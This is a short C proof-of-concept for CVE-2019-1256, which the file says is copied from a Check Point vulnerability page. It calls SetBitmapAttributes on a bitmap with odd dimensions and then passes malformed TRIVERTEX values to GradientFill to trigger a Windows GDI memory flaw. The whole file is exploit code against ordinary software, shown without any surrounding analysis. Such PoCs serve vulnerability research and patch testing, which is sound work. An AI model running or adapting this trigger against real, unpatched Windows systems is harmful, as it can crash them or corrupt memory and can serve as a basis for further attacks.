CVE-2019-1256

//Copy From https://cpr-zero.checkpoint.com/vulns/cprid-2137/

#include <windows.h>

HBITMAP(*SetBitmapAttributesStub)(HBITMAP, int);

int main()
{
    LoadLibraryA("user32.dll");
    HMODULE gdi = LoadLibraryA("gdi32.dll");
    SetBitmapAttributesStub = GetProcAddress(gdi, "SetBitmapAttributes");

    HDC hdc1 = CreateCompatibleDC(0x0);
    HBITMAP hbm1 = CreateBitmap(0x10001, 0x9, 0x0, 0x0, 0x0);
    HBITMAP hbm2 = SetBitmapAttributesStub(hbm1, 0x1);
    SelectObject(hdc1, hbm2);
    TRIVERTEX vert[7] = { { 0xc9b, 0xfff, 0x3, 0x5, 0x8, 0x10001 },  { 0x8, 0x4, 0x8, 0x1, 0x3, 0xffffffff80000000 },
                          { 0x1, 0xffffffffffffffc1, 0x3, 0x8000, 0x3000000000, 0x2630 }, { 0x7ff, 0x2, 0x0, 0x3, 0x4 },
                          { 0x5, 0x4, 0x1, 0x8001, 0x7ff, 0x5 }, { 0x100000000, 0x5, 0x0, 0x8000, 0x9, 0x9 }, { 0 } };
    GRADIENT_RECT rect[2] = { { 0x3, 0x7 } };
    GradientFill(hdc1, &vert, 0x7, &rect, 0x1, 0x0);
}